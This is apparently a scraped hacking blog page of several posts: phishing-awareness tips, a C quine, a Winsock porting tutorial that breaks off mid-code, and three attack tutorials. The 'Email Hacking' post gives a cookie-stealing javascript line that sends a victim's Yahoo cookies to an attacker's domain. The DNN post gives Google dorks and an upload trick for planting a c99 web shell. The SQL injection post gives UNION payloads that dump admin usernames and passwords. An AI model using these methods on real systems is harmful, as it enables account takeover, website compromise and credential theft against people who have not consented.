Showing posts with label INTERNET SECURITY. Show all posts

Sunday, September 29, 2013

How to Identify and Avoid Phishing Scams

How to Identify and Avoid Phishing Scams

 Posted by Nishanth Singamala
Identify Phishing ScamPhishing is a form of social engineering technique used by hackers to gather sensitive information such as usernames, passwords and credit card details by posing as a trustworthy person or organization. Since most online users are unaware of the techniques used in carrying out a phishing attack, they often fall victim and hence, phishing can be very effective.
With the dramatic increase in the number of phishing scams in the recent years, there has also been a steady rise in the number of people being victimized. Lack of awareness among the people is the prime reason behind such attacks. This article will try to create awareness and educate the users about such online scams and frauds.
Phishing scams usually sends an email message to users requesting for their personal information, or redirects them to a website where they are required to enter thier personal information. Here are some of the tips toidentify various phishing techniques and stay away from it:

Identifying a Phishing Scam:

  1. Beware of emails that demand for an urgent response from your side. Some of the examples are:
    • You may receive an email which appears to have come from your bank or financial organization stating that “your bank account is limited due to an unauthorized activity. Please verify your accountasap so as to avoid permanent suspension”. In most cases, you are requested to follow a link (URL) that takes you to spoofed web page (similar to your bank website) and enter your login details over there.
    • In some cases, phishing emails may ask you to make a phone call. There may be a person or an audio response waiting on the other side of the phone to take away your credit cards details, account number, social security number or other valuable data.
  2. Phishing emails are generally not personalized. Since they target a lagre number of online users, they usually use generalized texts like “Dear valued customer”, “Dear Paypal user” etc. to address you. However, some phishing emails can be an exception to this rule.
  3. When you click on the links contained in a phishing email, you will most likely be taken to a spoofed web page with official logos and information that looks exactly same as that of the original web pages of your bank or financial organization. Pay attention to the URL of a website before you enter any of your personal information over there.
    Even though malicious websites look identical to the legitimate site, it often uses a different domain or variation in the spelling. For example, instead of paypal.com, a phishing website may use different addresses such as:
    • papyal.com
    • paypal.org
    • verify-paypal.com
    • xyz.com/paypal/verify-account/

Tips to Avoid Being a Victim of Phishing:

  1. Do not respond to suspicious emails that ask you to give your personal information. If you are unsure whether an email request is legitimate, verify the same by calling the respective bank/company. Always use the telephone numbers printed on your bank records or statements and not those mentioned in the suspicious email.
  2. Don’t use the links in an email, instant messenger or chat conversation to enter a website. Instead, always type the URL of the website on your browser’s address bar to get into a website.
  3. Legitimate websites always use a secure connection (https://) on those pages which are intended to gather sensitive data such as passwords, account numbers or credit card details. You will see a lock icon Picture of the Lock icon in your browser’s address bar which indicates a secure connection. On some websites like paypal.com which uses an extended validation certificate, the address bar turns GREEN as shown below.
    HTTPS Address Bar
    In most cases, unlike a legitimate website, a phishing website or a spoofed web page will not use a secure connection and does not show up the lock icon. So, absence of such security features can be a clear indication of phishing attack. Always double-check the security features of the web page before entering any of your personal information.
  4. Always use a good antivirus software, firewall and email filters to filter the unwanted traffic. Also ensure that your browser is up-to-date with the necessary patches being applied.
  5. Report a “phishing attack” or “spoofed emails” to the following groups so as to stop such attacks from spreading all over the Internet:
    You can directly send an email to reportphishing@antiphishing.org or spam@uce.gov reporting an attack. You can also notify the Internet Crime Complaint Center of the FBI by filing a complaint on their website: www.ic3.gov.
I hope the information presented in this article will help you detect and avoid various phishing scams that are waiting to rip off innocent Internet users. If you’ve anything to say, please pass your comments.

Read More

Friday, August 16, 2013

Email Hacking

Do U Think If Your Email Can Not Been Hackable, Then You Are Wrong...
Ur Email-ID Can Be Hack... But Its Can Be Hack Only Fault by User.. Most Of The Peoples Think That Their Has A Software to Hack A Email- ID's But Truth Is Their Is No Software Present For Hacking Ur Mail ID's..

Email Hacking can be possible to many ways like:-
 
1. Social Engineering

2.Phishing Attacks

3. Cookie Hijacking

4. By Keyloggers



Social Engineering:
This Process is defined as Hack the human mind without any tools...
This has become one of the hottest topics today and it seems to work out most of the times. Social Engineering doesn’t deal with the network security issues, vulnerabilities, exploits, etc. It just deals with simple Psychological tricks that help to get the information we want. 
This really works!! But it requires a lot of patience.
We are all talking about network security and fixing the vulnerabilities in networks.
 But what happens if some internal person of a network accidentally gives out the passwords. After all 
we are all humans; we are also vulnerable and can be easily
 exploited and compromised than the computers.

Social Engineering attacks have become most common during the chat sessions.
With the increase in use of Instant Messengers, any anonymous person may have a
chat with another any where in the world. The most crucial part of this attack is to
win the trust of the victim.


Phishing Attack:
The act of sending an e-mail to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surroundering private information that will be used for identity theft. The e-mail directs the user to visit a Web site where they are asked to update personal information, such as passwords and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site, however, is bogus and set up only to steal the user’s information.

Cookie Hijacking:
In cookie hijacking we can hack email accounts very easily.. This trick is very
 dangereous because whenever user change a password then there is no need to
 attacker for again hack Email- ID of victim.
 And it would take you to inbox of victim's yahoo account without asking for any password of victim account.

Keyloggers:
Keylogger is a software program or hardware device that is used to monitor and log
each of the keys a user types into a computer keyboard. The user who installed the program or hardware device can then view all keys typed in by that user. Because
these programs and hardware devices monitor the keys typed in a user can easily
find user passwords and other information a user may not wish others to know about.

Keyloggers, as a surveillance tool, are often used by employers to ensure employees
 use work computers for business purposes only. Unfortunately, keyloggers can also
 be embedded in spyware allowing your information to be transmitted to an unknown third party.



Cookie Hijacking:

U Can Hack Yahoo Account by Cookies Stealing or Hijacking From Browser.

Follow Steps and Learn it.
This is very Simple Tutorial and 100% Tested..!!..




Step 1: Download the Script on given link
http://www.multiupload.com/9Q3EPTOO47

Step:2 Download and extract files into your hard drive.
Step:3 Create a account in any ftp hosting site i suggested www.t35.com
Step4: Login to your account and upload 4 files into your ftp account.

Step5: Give this  code to victim to run in his browser when he would be logged in to his yahoo account. Yahoo.php is basically cookie stealing script and hacked.php executes the stolen cookies in browser.
Stolen cookies get stored in directory 'cookies'

javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie)); 

He would again redirected to his yahoo account.

Step6. Open the hacked.php . The password is 'hoc'.


You must have got the username of victim's account. Simply Click on it and it would take you to inbox of victim's yahoo account without asking for any password of victim account.

By Keylogger:


Read More

Portal Hacking (DNN) Technique



       One more hacking method called "Portal Hacking (DNN)". This method also uses in google search engine to find hackable sites.. Here U can use only Google Dorks for
hacking a websites.. 

Here U can use dez two Google Dorks


1- inurl:"/portals/0"

2- inurl:/tabid/36/language/en-US/Default.aspx


You can also modify this google dork according to your need & requirement

Here is the exploit
Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Step 1 :
http://www.google.com

Step 2:
Now enter this dork
:inurl:/tabid/36/language/en-US/Default.aspx
this is a dork to find the Portal Vulnerable sites, use it wisely.


Step 3: 
you will find many sites, Select the site which you are comfortable with.

Step 4: 
For example take this site.

http://www.abc.com/Home/tabid/36/Lan...S/Default.aspx

Step 5: Now replace
/Home/tabid/36/Language/en-US/Default.aspx

with this
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx



Step 6: You will get a Link Gallary page.So far so good!

Step 7: Dont do anything for now,wait for the next step...

Step 8: Now replace the URL in the address bar with a Simple Script

javascript:__doPostBack('ctlURL$cmdUpload','')


Step 9: You will Find the Upload Option

Step 10:
Select Root

Step 11:
Upload your package Your Shell c99,c100 , Images, etc 

After running this JAVA script, you will see the option for Upload Selected File Now select you page file which you have  & upload here.
Now  Go to main page and refresh. you have seen hacked the website.


Done..!!
Read More

SQL Injection in MySQL Databases

SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in other databases such as Oracle. In this tutorial i will be showing you the steps to carry out the attack on a MySQL Database.



Step 1:

When testing a website for SQL Injection vulnerabilities, you need to find a page that looks like this:
www.site.com/page=1

or
www.site.com/id=5

Basically the site needs to have an = then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in the url. For example:

www.site.com/page=1'

If the database is vulnerable, the page will spit out a MySQL error such as;

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29

If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.

Step 2


Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example:

www.site.com/page=1 order by 1--
http://www.site.com/page=1 order by 2--
http://www.site.com/page=1 order by 3--
http://www.site.com/page=1 order by 4--
http://www.site.com/page=1 order by 5--

If we receive another MySQL error here, then that means we have 4 columns. If the site errored on "order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.

Step 3


We now are going to use the "union" command to find the vulnerable columns. So we enter after the url, union all select (number of columns)--,
for example:
www.site.com/page=1 union all select 1,2,3,4--

This is what we would enter if we have 4 columns. If you have 7 columns you would put,union all select 1,2,3,4,5,6,7-- If this is done successfully the page should show a couple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.


Step 4


We now need to find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:
user()
database()
version()
or if these dont work try...
@@user
@@version
@@database

For example the url would look like:
www.site.com/page=1 union all select 1,user(),version(),4--

The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.
IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.

Step 5


In this step our aim is to list all the table names in the database. To do this we enter the following command after the url.
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
So the url would look like:
www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--

Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.

Step 6

In this Step we want to list all the column names in the database, to do this we use the following command:

union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user,email and password.

Step 7


Finally we need to dump the data, so say we want to get the "username" and "password" fields, from table "admin" we would use the following command,
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--

Here the "concat" command matches up the username with the password so you dont have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website
Read More

Thursday, July 04, 2013

C Program to Print its Own Source Code

C Program to Print its Own Source Code


C Program to Print its Own Source CodeEver wondered how to write a C program to print its own source code? Well, here is the source code of a C program that when executed will print its own source code. In other words, the output of this program is exactly same as its source code.
Here’s the program:
#include<stdio.h>
char *program=”#include<stdio.h>%cchar *program=%c%s%c;%cvoid main()%c{%cprintf(program,10,34,program,34,10, 10,10,10);%c}”;
void main()
{
printf(program,10,34,program,34,10,10,10,10);

}
Read More

Wednesday, June 29, 2011

WINDOWS INTERNET PROGRAMMING part2




<html>

<head>

     <title>Windows Internet Programming Part2</title>

</head>

<body>

<pre>

<font color=red>

              _________________

             /_               /\

              \/  _______    /  \

              /  /      /   /   /

             /  /______/   /   /

            /           __/   /

           /  _______   \  __/

          /  /      /   /  \

         /  /______/   /   /

       _/             /   /    

      /______________/   /       BLACK SUN RESEARCH FACILITY

      \              \  /         <a href="http://blacksun.box.sk">HTTP://BLACKSUN.BOX.SK</a>

       \______________\/





</font>





WINDOWS INTERNET PROGRAMMING {part 2}

=================================================







   WRITTEN BY                 [ <a href="mailto:cos125@hotmail.com">cos125@hotmail.com</a>                :E-MAIL    ]    

           <a href="mailto:cos125@hotmail.com">BINARY RAPE</a>        [ 114603188                         :ICQ#      ]    

                              [ <a href="http://www.geocities.com/wininetprogram">www.geocities.com/wininetprogram</a>  :WEB SITE  ]

                              [ <a href="http://blacksun.box.sk">http://blacksun.box.sk</a>            :TURORIALS ]    











Thanks to cyberwolf for letting me write this and BSRF for releasing it.











<br>

<p>Disclaimer

<p>None of the information or code in this tutorial is meant to be used

against others

<br>or to purposely damage computer systems and/or cause any loss of or

damage to property.

<p>Further more, neither myself or any other contributor to, or member

of, the Blacksun

<br>research Facility (BSRF) can be held responsible for damage or loss

of property to

<br>computer systems as a result of this tutorial.

<p>In this tutorial the code is provided as a learning aid so you can see

how its done

<br>its not meant for you to use against yourself or others.

<p>If you don't agree with any of this then please stop reading......&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

now!

<br>

<p>CONTENTS

<br>

<p>1.&nbsp; <a href="#1">Introduction</a>

<br>2.&nbsp; <a href="#2">UNIX and Windows</a>

<br>3.&nbsp; <a href="#3">Error Codes</a>

<br>4.&nbsp; <a href="#4">Port Numbers</a>

<br>5.&nbsp; <a href="#5">Include Files</a>

<br>&nbsp;&nbsp; -<a href="#5.1"> 5.1 socket()</a>

<br>&nbsp;&nbsp;&nbsp; -<a href="#5.2">5.2 bind()</a>

<br>&nbsp;&nbsp;&nbsp; -<a href="#5.3">5.3 connect()</a>

<br>&nbsp;&nbsp;&nbsp; -<a href="#5.4">5.4 listen()</a>

<br>&nbsp;&nbsp;&nbsp; -<a href="#5.5">5.5 accept()</a>

<br>&nbsp;&nbsp;&nbsp; -<a href="#5.6">5.6 gethostname()</a>

<p>6.&nbsp; <a href="#6">Common Functions</a>

<br>7.&nbsp;<a href="#7"> Renamed Functions</a>

<br>8.&nbsp; <a href="#8">Blocking Routines</a>

<br>9.&nbsp; <a href="#9">Additional Functions</a>

<br>10. <a href="#10">Porting Code</a>

<br>&nbsp;&nbsp;&nbsp; -10.1 <a href="#10.1">DNS Program</a>

<br>&nbsp;&nbsp;&nbsp; -10.2 <a href="#10.2">Streaming Server</a>

<br>&nbsp;&nbsp;&nbsp; -10.3 Streaming Client

<p>11. <a href="#11">Planning</a>

<br>12. <a href="#12">Last Words</a>

<p>&nbsp;&nbsp;&nbsp; APPENDIXES

<p>&nbsp;&nbsp;&nbsp; A - <a href="#appxA">The Compiler</a>

<p>______________________

<br>1.0<a NAME="1"></a> INTRODUCTION

<br>&nbsp;

<p>In the last part in this series of tutorials I discussed windows sockets

programming using

<br>the winsock API and in that document I mentioned that the windows Sockets

implementation is

<br>based on the Berkeley Sockets idea, therefore socket programming on

systems such as UNIX

<br>and Linux, which are also based on the Berkeley API would be quiet

similar. This aids us

<br>in porting from platform to platform, making it easy to move whole

programs from UNIX to

<br>windows in a very short time.

<p>This tutorial will discuss and illustrate the differences in code and

functions between the

<br>platforms and sample source code and applications will be provided

to show how to port the

<br>applications piece by piece.

<p>I suggest that you first read Part 1 in this series of tutorials and

also Bracaman's basic

<br>UNIX sockets tutorial, also available from blacksun.box.sk and also

from code.box.sk.

<p>Any add on information for this tutorial and updates are available as

usual from:

<br>http://www.geocities.com/winnetprogram.

<br>&nbsp;

<p>

<hr SIZE=1 WIDTH="70%">

<br>&nbsp;

<p>2.0&nbsp;<a NAME="2"></a>UNIX AND WINDOWS

<br>=====================

<p>Unix and Windows handle sockets differently, UNIX treats sockets the

same as a file handle

<br>which is a small integer while in windows it is an unsigned type called

SOCKET.

<p>So from the start UNIX and windows actually think of there respective

sockets differently.

<p>To best explain the differences the following is an exert from bracamans

tutorial and

<br>describes sockets from the Unix point of view:

<br>&nbsp;

<p>"In a very simple way, a socket is a way to talk to other computer.

<p>To be more precise, it's a way to talk to other computers using standard

Unix file

<br>descriptors.

<p>In Unix, every I/O actions are done by writing or reading to a file

descriptor. A file

<br>descriptor is just an integer associated with an open file and it can

be a network connection,

<br>a terminal, or something else."

<br>&nbsp;

<p>

<hr SIZE=1 WIDTH="70%">

<br>&nbsp;

<p>3.0&nbsp;<a NAME="3"></a>ERROR CODES

<br>=======================================

<p>In UNIX error codes are available trough the errno variable. In windows

we use the function

<br>WSAGetLastError() to obtain these error codes.

<br>&nbsp;

<p>_________________________

<p>4.0&nbsp;<a NAME="4"></a>PORT NUMBERS

<br>=======================================

<p>In both Unix and Windows you define the port numbers by entering the

destination port number

<br>as a parameter to the function htons(), however in winsock.h several

port numbers are defined

<br>for common ports so that you can also use these.

<p>The following is a list of the default names and there relative port

numbers:

<br>

<pre>



1.  IPPORT_ECHO             -  7

2.  IPPORT_DISCARD          -  9

3.  IPPORT_SYSTAT           -  11

4.  IPPORT_DAYTIME          -  13

5.  IPPORT_NETSTAT          -  15

6.  IPPORT_FTP              -  21

7.  IPPORT_TELNET           -  23

8.  IPPORT_SMTP             -  25

9.  IPPORT_TIMESERVER       -  37

10. IPPORT_NAMESERVER       -  42

11. IPPORT_WHOIS            -  43

12. IPPORT_MTP              -  57

</pre>

<p>

<hr SIZE=1 WIDTH="70%">

<br>&nbsp;

<p>5.0&nbsp;<a NAME="5"></a>INCLUDE FILES

<br>=======================================

<p>In UNIX there are a number of include files to use in socket programming,

following is a

<br>list of these functions and related #include files:

<br>&nbsp;

<p>5.1&nbsp;<a NAME="5.1"></a>socket()

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ #include &lt;sys/types.h>&nbsp; ]

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ #include &lt;sys/socket.h> ]

<br>&nbsp;

<p>5.2&nbsp;<a NAME="5.2"></a>bind()

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ #include &lt;sys/types.h>&nbsp; ]

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ #include &lt;sys/socket.h> ]

<br>&nbsp;

<p>5.3&nbsp;<a NAME="5.3"></a>connect()

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ #include &lt;sys/types.h>&nbsp; ]

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ #include &lt;sys/socket.h> ]

<br>&nbsp;

<p>5.4&nbsp;<a NAME="5.4"></a>listen()

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ #include &lt;sys/types.h>&nbsp; ]

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ #include &lt;sys/socket.h> ]

<br>&nbsp;

<p>5.5&nbsp;<a NAME="5.5"></a>accept()

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ #include &lt;sys/socket.h> ]

<p>5.6&nbsp;<a NAME="5.6"></a>gethostname()

<p>&nbsp; [ #include &lt;netdb.h>&nbsp;&nbsp; ]

<br>&nbsp;

<br>&nbsp;

<p>You will need some general socket include files also in UNIX programming:

<p>#include &lt;netinet/in.h>

<br>#include &lt;arpa/inet.h>

<br>&nbsp;

<p>Your average list of include files at the top of a UNIX socket program

would therefore

<br>look something like the following:

<p>#include &lt;sys/types.h>

<br>#include &lt;sys/socket.h>

<br>#include &lt;netdb.h>

<br>#include &lt;netinet/in.h>

<br>#include &lt;arpa/inet.h>

<br>&nbsp;

<p>In windows the header file for socket and internet programming is contained

in windows.h,

<br>therefore the top of a windows socket programming would look like this:

<p>#include &lt;windows.h>

<p>The name of the header file for windows socket programming is winsock.h

and including

<br>this file in your project as well wont cause any errors of course but

there’s just no need.

<p>Windows programs also need to be linked to the file Wsock32.lib before

they can be

<br>compiled.

<p>Consult your compilers documents for further information on this or

proceed to Appendix 1

<br>- The compiler.

<p>

<hr SIZE=1 WIDTH="70%">

<br>

<p>6.0<a NAME="6"></a>COMMON FUNCTIONS

<br>=======================================

<p>Both Unix and Windows sockets have a set of functions common to both

platforms. These are

<br>mostly the functions dealing with TCP and UDP and all conversion functions

and structures

<br>are the same for both platforms.

<p>For example htons() and inet_addr() are the same on both platforms,

also so is the

<br>structures sockaddr and sockaddr_in.

<br>&nbsp;

<p>Here is a list of common functions.

<p>1.&nbsp; Socket()

<p>2.&nbsp; Bind()

<p>3.&nbsp; Listen()

<p>4.&nbsp; Connect()

<p>5.&nbsp; Accept()

<p>6.&nbsp; Send()

<p>7.&nbsp; Recv()

<p>8.&nbsp; Sendto()

<p>9.&nbsp; Recvfrom()

<p>10. Gethostname()

<br>&nbsp;

<p>

<hr SIZE=1 WIDTH="70%">

<br>&nbsp;

<p>7.0<a NAME="7"></a> RENAMED FUNCTIONS

<br>=======================================

<p>There are some functions which exist in both windows and UNIX socket

programming but

<br>during the conversion the names have changed slightly.

<p>The following table contains a comparison of renamed functions in windows

and UNIX.<br>

<pre>



+===============+==================+

| Unix Function | Windows Function |

+===============+==================+

|    close()    |   closesocket()  |

+---------------+------------------+

|    ioctl()    |   ioctlsocket()  |

+---------------+------------------+

|     read()    |      recv()      |

+---------------+------------------+

|    write()    |      send()      |

+---------------+------------------+

</pre>

<p>&nbsp;FIG 1. - Comparison of Windows and Unix Socket functions.

<br>&nbsp;

<p>

<hr SIZE=1 WIDTH="70%">

<br>&nbsp;

<p>8.0<a NAME="8"></a> BLOCKING ROUTINES

<br>=======================================

<p>In windows you can use blocking routines but they are not recommended.

In windows 3.1

<br>using the event driven paradigm it is possible to have a blocked operation

disturbed

<br>by other event driven activity.

<p>Soon you will not be able to have blocking routines in Winsock applications

so it is

<br>not recommended you use them at all in this scenario as this would

limit distribution

<br>possibilities.

<br>&nbsp;

<p>

<hr SIZE=1 WIDTH="70%">

<br>&nbsp;

<p>9.0&nbsp;<a NAME="9"></a>ADDITIONAL FUNCTIONS

<br>=======================================

<p>In windows there are some functions which aren't seen in UNIX sockets.

In every

<br>windows socket program you must call WSAStarup() before you can call

any socket

<br>functions or use any code.

<p>Additionally every WSAStartup() function has a corresponding WSACleanup()

which

<br>shuts down the Winsock and cleans up after us.

<p>Every Windows socket program must contain both of these functions.

<br>&nbsp;

<p>

<hr SIZE=1 WIDTH="70%">

<br>&nbsp;

<p>10.0&nbsp;<a NAME="10"></a>PORTING CODE

<br>=======================================

<p>Now that we have discussed the different parts of the program in Unix

and its relevant

<br>Windows parts we can look at some real code.

<br>&nbsp;

<br>&nbsp;

<p>[ 10.1 ]<a NAME="10.1"></a> DNS PROGRAM

<p>The first program we come across is Bracamans DNS application. Here’s

the Unix Code.

<p>/* &lt;---- SOURCE CODE STARTS HERE ----> */

<p>#include &lt;stdio.h>

<br>#include &lt;netdb.h>&nbsp;&nbsp; /* This is the header file needed

for gethostbyname() */

<br>#include &lt;sys/types.h>

<br>#include &lt;sys/socket.h>

<br>#include &lt;netinet/in.h>

<br>&nbsp;

<p>int main(int argc, char *argv[])

<br>{

<br>&nbsp; struct hostent *he;

<p>&nbsp; if (argc!=2){

<br>&nbsp;&nbsp;&nbsp;&nbsp; printf("Usage: %s &lt;hostname>\n",argv[0]);

<br>&nbsp;&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; if ((he=gethostbyname(argv[1]))==NULL){

<br>&nbsp;&nbsp;&nbsp;&nbsp; printf("gethostbyname() error\n");

<br>&nbsp;&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; printf("Hostname : %s\n",he->h_name);&nbsp; /* prints the hostname

*/

<br>&nbsp; printf("IP Address: %s\n",inet_ntoa(*((struct in_addr *)he->h_addr)));

/* prints IP address */

<br>}

<br>/* &lt;---- SOURCE CODE ENDS HERE ----> */

<br>&nbsp;

<br>&nbsp;

<p>This is a very small but still a very useful program. If we attempt

to compile this

<br>right away under Microsoft Visual C++ We will get an error saying that

it can not

<br>find an include file, so our first duty is to remove all of the Unix

Socket include

<br>files and replace them with the line:

<p>#include &lt;windows.h>

<p>remembering to leave stdio.h right where it is.

<br>When I tried compiling it now I got several more errors so I changed

the

<br>main() fuction from what it is above to:

<p>void main(int argc, char **argv) and the program then compiled.

<p>However I then got several linker errors. Remember when socket programming

on windows

<br>you must link to the file Wsock32.lib.

<p>After I linked to the proper .lib file the program compiles perfectly,

without the

<br>need to touch a single line of the socket code!!

<p>This is how compatible different platforms can be with socket code,

however this is a

<br>very small program and this is not usually the case. The following

is the windows

<br>source code for the port of Bracamans DNS program.

<p>Remember you will get an error unless you include WSAStartup() and WSACleanup()!!

<br>&nbsp;

<p>/* &lt;---- SOURCE CODE STARTS HERE ----> */

<p>#include &lt;windows.h>

<br>#include &lt;stdio.h>

<p>int main(int argc, char *argv[])

<br>{

<p>&nbsp; WSADATA&nbsp; wsdata;

<p>&nbsp; WSAStartup(0x0101,&amp;wsdata);

<p>&nbsp; struct hostent *he;

<p>&nbsp; if (argc! = 2)

<br>&nbsp; {

<br>&nbsp;&nbsp;&nbsp;&nbsp; printf("Usage: %s hostname\n",argv[0]);

<br>&nbsp;&nbsp;&nbsp;&nbsp; return -1;

<br>&nbsp; }

<p>&nbsp; if ((he = gethostbyname(argv[1])) == NULL)

<br>&nbsp; {

<br>&nbsp;&nbsp;&nbsp;&nbsp; printf("gethostbyname() error\n");

<br>&nbsp;&nbsp;&nbsp;&nbsp; return -1;

<br>&nbsp; }

<p>&nbsp; printf("Hostname : %s\n",he->h_name);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

/* prints the hostname */

<br>&nbsp; printf("IP Address: %s\n",inet_ntoa(*((struct in_addr *)he->h_addr)));&nbsp;

/* prints IP address */

<p>&nbsp; WSACleanup();

<br>&nbsp; return -1;

<p>}

<br>/* &lt;---- SOURCE CODE ENDS HERE ----> */

<br>&nbsp;

<p>This program has almost as few lines as the UNIX alternative and requires

practically

<br>no porting at all!

<p>Like I said you wouldn’t usually have a program that runs on windows

with such little altering.

<br>Lets discuss porting Bracamans TCP streaming server.

<br>&nbsp;

<p>[ 10.2 ]&nbsp;<a NAME="10.2"></a>STREAMING SERVER

<br>&nbsp;

<p>/* &lt;---- SOURCE CODE STARTS HERE ----> */

<p>#include &lt;stdio.h>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

/* These are the usual header files */

<br>#include &lt;sys/types.h>

<br>#include &lt;sys/socket.h>

<br>#include &lt;netinet/in.h>

<br>&nbsp;

<p>#define PORT 3550&nbsp;&nbsp; /* Port that will be opened */

<br>#define BACKLOG 2&nbsp;&nbsp; /* Number of allowed connections */

<p>main()

<br>{

<br>&nbsp;

<br>&nbsp; int fd, fd2; /* file descriptors */

<p>&nbsp; struct sockaddr_in server; /* server's address information */

<br>&nbsp; struct sockaddr_in client; /* client's address information */

<p>&nbsp; int sin_size;

<br>&nbsp;

<p>&nbsp; if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ){&nbsp; /* calls

socket() */

<br>&nbsp;&nbsp;&nbsp; printf("socket() error\n");

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; server.sin_family = AF_INET;

<br>&nbsp; server.sin_port = htons(PORT);&nbsp;&nbsp; /* Remember htons()

from "Conversions" section? =) */

<br>&nbsp; server.sin_addr.s_addr = INADDR_ANY;&nbsp; /* INADDR_ANY puts

your IP address automatically */

<br>&nbsp; bzero(&amp;(server.sin_zero),8); /* zero the rest of the structure

*/

<p>&nbsp;

<br>&nbsp; if(bind(fd,(struct sockaddr*)&amp;server,sizeof(struct sockaddr))==-1){

/* calls bind() */

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("bind() error\n");

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; if(listen(fd,BACKLOG) == -1){&nbsp; /* calls listen() */

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("listen() error\n");

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>while(1){

<br>&nbsp; sin_size=sizeof(struct sockaddr_in);

<br>&nbsp; if ((fd2 = accept(fd,(struct sockaddr *)&amp;client,&amp;sin_size))==-1){

/* calls accept() */

<br>&nbsp;&nbsp;&nbsp; printf("accept() error\n");

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<br>&nbsp;

<br>&nbsp; printf("You got a connection from %s\n",inet_ntoa(client.sin_addr)

); /* prints client's IP */

<br>&nbsp;

<br>&nbsp; send(fd2,"Welcome to my server.\n",22,0); /* send to the client

welcome message */

<br>&nbsp;

<br>&nbsp; close(fd2); /*&nbsp; close fd2 */

<br>}

<br>}

<p>/* &lt;---- SOURCE CODE ENDS HERE ----> */

<br>&nbsp;

<br>&nbsp;

<p>Well lets try and compile shall we...

<br>&nbsp;

<p>Straight away we should clear the obvious problems, link to Winsock32.lib

and

<br>only include windows.h and stdio.h.

<p>Having done so we receive 2 errors, the first pertains to bzero which

we do not

<br>have in our little program so we are going to just remove the line

that contains

<br>it. Once we do so we now have only 1 error, woohoo!

<p>This error tells us that the function close() is not a valid identifier

which is

<br>what I said earlier, close() has been replaced by closesocket() in

windows so we

<br>change that as well to closesocket().

<p>We run this program and we recieve a socket error :(. But remember we

never entered

<br>WSAStartup() and WSACleanup() in this program so we have to do that

first and then

<br>our program will work :).

<p>If you run the program the command prompt should remain blank, just

leave the program

<br>as it is now and move onto the next section to figure out where to

go from here!!

<p>First of course here’s the Windows code for the port ;).

<br>&nbsp;

<p>/* &lt;---- SOURCE CODE STARTS HERE ----> */

<p>#include &lt;stdio.h>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

/* These are the usual header files */

<br>#include &lt;windows.h>

<br>&nbsp;

<p>#define PORT 3550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*

Port that will be opened */

<br>#define BACKLOG 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*

Number of allowed connections */

<p>main()

<br>{

<br>&nbsp; WSADATA&nbsp; wsdata;

<p>&nbsp; WSAStartup(0x0101,&amp;wsdata);

<p>&nbsp; int fd, fd2;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* file

descriptors */

<br>&nbsp;

<p>&nbsp; struct sockaddr_in server;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* server's

address information */

